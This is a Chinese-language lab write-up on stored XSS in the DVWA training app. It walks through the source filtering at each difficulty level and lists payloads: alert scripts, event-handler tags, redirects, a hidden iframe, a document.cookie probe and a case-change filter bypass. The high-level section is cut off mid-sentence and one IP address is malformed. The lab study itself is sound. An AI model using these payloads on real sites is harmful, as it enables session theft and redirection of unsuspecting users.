xss之存储型
1.存储型xss原理
存储型xss是hacker向服务器注入一段js代码,代码存储到服务器的数据库中,每当用户访问服务器当中带有js代码的数据时,服务器将响应用户,返回给用户一个带有js代码页面
2.xss存储型low级演示
1.将DVWA级别设置为低级
分析源码,可以看到首先对两个参数使用trim函数过滤掉两边的空格,然后$message
使用mysql_real_escape_string
函数转义SQL语句中的特殊字符,使用stripslashes
函数过滤掉”\”,对$name
参数中使用mysql_real_escape_string
函数转义SQL语句中的特殊字符
2.从上面的代码可以看到,没有防御XSS漏洞,只防御了SQL注入漏洞
尝试一般的XSS攻击
在message栏中测试:
<script>alert('x')</script>
<body onload=alert('sss')>
<a href=http://www.baidu.com>clock</a>
<a href='' onclick=alert('xss')>click</a>
3.重定向:
<script>window.location=’http://www.baidu.com’</script>
<script>window.location=’http://192.168.10.141’</script>
<iframe src='http://192.168.10.10.141/a.jpg' height='0' width='0'></iframe>
4.获取cookie:
<script>alert(document.cookie)</script>
3.xss存储型modium级演示
1设置DVWA难度为中级
分析源代码,可以看到对$message
参数做了很严格的过滤(进行html实体转义以及转义SQL语句中使用的特殊字符,杜绝了对$message
关于xss的利用),但对$name
参数做的过滤不严格,只是替换<script>
以及转义SQL语句中使用的特殊字符,可以使用别的html标签对$name
参数的防护进行绕过
2.绕过DVWA medium级别
<Script>alert('x')</script>
<body onload=alert('xss')>
<a href='' onclick=alert('xss')>click</a>
4.xss存储型high级演示
1.分析源码,可以看到相比较中级而言,高级对$nam参数多了对
<body onload=alert('xss')>
<a href='' onclick=alert('xss')>click</a>
5.xss存储型Impossible级
1.分析源码可以看到,对两个参数都做了html实体转义,无法利用xss